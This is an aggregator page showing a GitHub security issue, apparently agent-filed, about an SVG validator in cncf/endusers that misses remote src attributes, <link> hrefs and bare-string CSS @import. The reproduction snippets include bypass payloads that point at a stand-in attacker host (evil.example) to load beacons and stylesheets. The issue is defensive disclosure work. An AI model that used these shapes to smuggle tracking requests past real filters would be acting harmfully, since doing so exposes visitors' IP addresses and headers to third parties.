Hacktoberfest 2026: the issues maintainers tagged for October, open and beginner-friendly. Browse Hacktoberfest issues

[sec-check] SVG remote-reference gate misses src attributes, link hrefs and bare-string @import

Closed Beginner friendly
  • Is something wrong?
#835 0 comments 0 reactions 0 assignees View on GitHub

Maintainers usually reply within 1 day

Nobody has claimed this yet.

Assessment

Difficulty
2/5
Estimated time
1-3 hours
Newbie friendliness
88/100
Issue type
Bug
Clarity
Clearly specified
Activity status
Active
Tech stack
javascript
Domain
security

Research direction

Start in scripts/lib/svg-active-content.mjs at findRemoteReferences(), RESOURCE_ELEMENTS, CSS_URL_PATTERN, and cssTargets(); run the three reproduction snippets from the issue. The work is done when remote src attributes, link hrefs, and quoted bare-string @import targets are reported while ordinary anchor navigation remains allowed.

Written by the indexing model from the issue text.

Description

agent/security hive/hosted-available-lke648397-260827-5n31 security

Security Finding

Severity: medium
Type: unsafe-pattern (incomplete input validation / detection bypass)

findRemoteReferences() in scripts/lib/svg-active-content.mjs is the control
that stops an imported SVG from making a visitor's browser fetch a subresource
from a third-party host. scripts/validate-architecture-assets.mjs:188-190
records every one of its findings as a hard error, so it blocks CI on every
pull request and every scheduled import.

It only ever inspects two things: an href attribute on an element in
RESOURCE_ELEMENTS, and a url(...) token in CSS. Three reference shapes that
load a remote subresource carry neither, and walk past the gate silently.

1. src is never inspected

src is not an SVG attribute, so it reaches the scanner only through the HTML
a <foreignObject> may carry — and foreignObject is deliberately allowed
("editors such as draw.io emit it for ordinary text", svg-active-content.mjs:19-20;
static/img/architectures/swisscom-cloud-native-telco/swisscom-cloud-native-telco-automation-layers.svg
already contains one). The src attribute on img, video, source and friends
is all permitted today.

2. <link> is not in RESOURCE_ELEMENTS

<link rel="stylesheet" href="https://evil.example/x.css"> inside a
foreignObject fetches a third-party stylesheet on load. link is absent from
the set at svg-active-content.mjs:83-89, so its href is never tested.

3. CSS @import with a bare string target

@import "https://evil.example/x.css"; is valid CSS and fetches the stylesheet
exactly as @import url(...) does, but carries no url( token for
CSS_URL_PATTERN to match. STYLE_BLOCK_PATTERN finds the block; the scan
inside it finds nothing.

Reproduction

Against scripts/lib/svg-active-content.mjs at 7772dcf:

import { findRemoteReferences } from './scripts/lib/svg-active-content.mjs';

const svg = (b) => `<svg xmlns="http://www.w3.org/2000/svg">${b}</svg>`;

findRemoteReferences(svg('<foreignObject><img src="https://evil.example/beacon.png"/></foreignObject>'));
// []  <- not flagged

findRemoteReferences(svg('<foreignObject><link rel="stylesheet" href="https://evil.example/x.css"/></foreignObject>'));
// []  <- not flagged

findRemoteReferences(svg('<style>@import "https://evil.example/x.css";</style>'));
// []  <- not flagged

findRemoteReferences(svg('<image href="https://evil.example/x.png"/>'));
// ['references a remote resource in <image> href: ...']  <- control, flagged

Impact

static/img/architectures/** is published verbatim at the site origin, and the
module's own threat model is that a visitor may open an SVG directly rather
than through an <img> (svg-active-content.mjs:4-7). When they do, every
subresource in the three shapes above is fetched from a host the diagram's
author chose, disclosing the visitor's IP address, User-Agent and Referer to
that third party — exactly the outcome findRemoteReferences() exists to
prevent and that the artwork-mirroring in scripts/lib/project-assets.mjs
exists to prevent elsewhere.

The author is third-party in both paths that write these files: the daily
import-architectures job from the upstream cncf/architecture checkout, and
import-architecture-issue.mjs from a community submission issue. Neither is
reviewed byte-by-byte; the CI error is the review. A remote stylesheet
additionally lets the third party restyle the document it is loaded into.

The current corpus is clean (50 SVGs under static/, no src=, <link href> or @import), so this is a gap in the gate rather than an exposure that
has already landed.

Recommendation

Extend the detection in scripts/lib/svg-active-content.mjs to cover all
three. Exact replacement text:

  1. Add 'link' to RESOURCE_ELEMENTS (svg-active-content.mjs:83-89).

  2. Check src on any element — unlike href there is no element on which it
    reads as visitor-chosen navigation, so it needs no allow-list. In
    findRemoteReferences(), replace

          if (name === 'href' && RESOURCE_ELEMENTS.has(element)) {

    with

          if (
        (name === 'href' && RESOURCE_ELEMENTS.has(element)) ||
        name === 'src'
      ) {

  3. Add a bare-string @import pattern beside CSS_URL_PATTERN and scan for
    both in cssTargets():

    const CSS_IMPORT_PATTERN = /@import\s+(?:"([^"]*)"|'([^']*)')/gi;

    function cssTargets(css) {
  const targets = [];
  for (const pattern of [CSS_URL_PATTERN, CSS_IMPORT_PATTERN]) {
    for (const match of String(css).matchAll(pattern)) {
      const value = match[1] ?? match[2] ?? match[3] ?? '';
      const target = remoteTarget(value);
      if (target) targets.push(target);
    }
  }
  return targets;
}

a must stay out of RESOURCE_ELEMENTS: a hyperlink is navigation the visitor
chooses, and the existing draw.io corpus carries one.

Scope

One deliverable, one file, one function — a single pull request closes this.

  • src on any element is reported as a remote reference
  • a link element href is reported as a remote reference
  • bare-string @import in a <style> block is reported as a remote reference

This does not overlap #818, which adds branch-coverage tests to
tests/svg-active-content.test.mjs and does not change
scripts/lib/svg-active-content.mjs.

Filed by sec-check agent (ACMM L4/L5 - hold-gated mode)

🐝 Hive Agent: security | Instance: hosted-available-lke648397-260827-5n31 | SHA: 7772dcf

— hive: agent=sec-check backend=copilot model=claude-opus-5 copilot=1.0.88

Dominant language
JavaScript
Stars
0
Forks
2
Avg merge
17h
Merged PRs (30d)
587

Getting set up

Open in Codespaces

Starts the project's dev container in your browser, under your own GitHub account.

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

More from cncf/endusers

All issues in cncf/endusers

Similar issues

More JavaScript issues

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.